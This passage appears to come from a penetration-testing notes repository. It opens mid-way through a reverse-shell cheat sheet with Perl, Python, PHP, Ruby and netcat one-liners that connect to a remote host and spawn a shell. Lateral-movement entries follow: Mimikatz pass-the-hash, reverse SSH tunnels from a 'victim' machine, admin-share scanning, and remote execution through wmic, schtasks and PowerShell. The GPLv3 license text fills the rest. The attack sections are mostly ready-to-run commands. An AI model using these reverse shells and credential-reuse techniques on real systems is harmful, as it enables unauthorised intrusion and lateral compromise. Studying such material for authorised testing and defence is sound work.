Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 19 | ``` 20 | 21 | ## Python 22 | 23 | ``` 24 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 25 | ``` 26 | 27 | ## Python Psuedo terminal 28 | 29 | ``` 30 | python -c "import pty;pty.spawn('/bin/bash')" 31 | ``` 32 | 33 | Use this on raw shells 34 | 35 | ## PHP 36 | 37 | ``` 38 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 39 | ``` 40 | 41 | 42 | ``` 43 | 44 | ``` 45 | 46 | Simple php webshell 47 | 48 | 49 | ## Ruby 50 | 51 | ``` 52 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' 53 | ``` 54 | 55 | ## Netcat 56 | 57 | ``` 58 | nc -e /bin/sh 10.0.0.1 1234 59 | ``` 60 | 61 | Reverse shell Linux 62 | 63 | ``` 64 | nc 10.10.0.1 1234 -e cmd.exe 65 | ``` 66 | 67 | Reverse shell Windows 68 | 69 | ## References: 70 | 71 | * [Reverse shell cheat sheet](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) - Pentestmonkeys 72 | * [Netcat cheat sheet v1](http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf) - Sans Penetration Testing 73 | * [Fixing a raw shell](https://nullsec.us/fixing-a-raw-shell/) - Nullsec 74 | * [Upgrading Simple Shells to Fully Interactive TTYs](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) - Ropnop -------------------------------------------------------------------------------- /6.Lateral_Movement/Powershell_Remoting.md: -------------------------------------------------------------------------------- 1 | # Powershell Remoting 2 | 3 | **Description:** This entry describes how to use Powershell Remoting for lateral movement 4 | 5 | **Requirements:** powershell 6 | 7 | ## Running remote commands with Powershell Remoting 8 | 9 | ``` 10 | $cred = Get-Credential 11 | ``` 12 | 13 | Setting up credentials (prompt will come up for creds) 14 | 15 | ``` 16 | $session = New-PSSession 17 | ``` 18 | 19 | Setting up session 20 | 21 | ``` 22 | Enter-PSSession $session 23 | ``` 24 | 25 | Entering the session 26 | 27 | ## References 28 | * [MSLearn - Running Remote Commands](https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands) -------------------------------------------------------------------------------- /6.Lateral_Movement/Reverse_dynamic_SSH_tunnels.md: -------------------------------------------------------------------------------- 1 | # Reverse dynamic ssh tunnels 2 | 3 | **Description:** This entry describes how to setup a reverse dynamic ssh tunnel from a victim machine 4 | 5 | **Requirements:** ssh, proxychains 6 | 7 | ## Host (Victim) machine 8 | 9 | ``` 10 | ssh -R 2222 @ 11 | ``` 12 | 13 | Run this command from the host machine to create a reverse dyanmic tunnel. 14 | 15 | ## Attacker server 16 | 17 | ``` 18 | apt install proxychains 19 | ``` 20 | 21 | Install proxychains 22 | 23 | ``` 24 | vim /etc/proxychains.conf 25 | 26 | # Edit this line 27 | socks4 127.0.0.1 2222 28 | ``` 29 | 30 | Open and update the proxychains configuration to the port specified in your previous command e.g. 2222 31 | 32 | ``` 33 | proxychains 34 | ``` 35 | 36 | Run proxychains with supported tools such as nmap and the traffic will go through the host (victim machine) 37 | 38 | ## References 39 | * https://www.openssh.com/txt/release-7.6 -------------------------------------------------------------------------------- /6.Lateral_Movement/Scanning_for_Windows_admin_shares.md: -------------------------------------------------------------------------------- 1 | # Scanning for Windows admin shares 2 | 3 | **Description:** This entry describes how to scan for admin shares. When able to view the admin shares this is an indicator of having admin access to the machine 4 | 5 | **Requirements:** Powershell 6 | 7 | ## Powershell 8 | 9 | ```powershell 10 | $machines = Get-Content 11 | $machines | ForEach-Object {dir \\$_\c$} 12 | ``` 13 | 14 | Scan remote machines for c$ admin acess 15 | 16 | ## Refernces 17 | *none -------------------------------------------------------------------------------- /6.Lateral_Movement/Windows_Lateral_Movement.md: -------------------------------------------------------------------------------- 1 | # Windows Lateral Movement 2 | 3 | **Description:** This entry describes how to use various commands for lateral movement 4 | 5 | **Requirements:** required software 6 | 7 | ## Commands to perform lateral movement 8 | 9 | ``` 10 | dir \\host\c$ 11 | ``` 12 | 13 | Check to see if your admin on another computer by listing the c$ share 14 | 15 | ``` 16 | net view \\ 17 | ``` 18 | 19 | Net command to check remote files 20 | 21 | ``` 22 | runas /user:Domain\(user) something.exe 23 | ``` 24 | 25 | Create a token with creds from command line 26 | 27 | ``` 28 | runas /user:Domain\(user) /netonly something.exe 29 | ``` 30 | 31 | Create a token to pass creds 32 | 33 | ``` 34 | sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:COMMAND 35 | ``` 36 | 37 | Pass the hash with Mimikatz 38 | 39 | ``` 40 | SCHTASKS /Run /S system /U user /P password /I /TN "taskname" 41 | ``` 42 | 43 | Run task immediately on remote system 44 | 45 | ``` 46 | wmic /node:(host) process call create 47 | ``` 48 | 49 | Run exe on remote computer with WMIC 50 | 51 | ```powershell 52 | Powershell Invoke-Command -ComputerName (host) -ScriptBlock { dir c:\ } 53 | ``` 54 | 55 | WinRM(port 5985) turned off by default(turned on for administration) Run command with Windows remoting 56 | 57 | ## References 58 | * none -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty 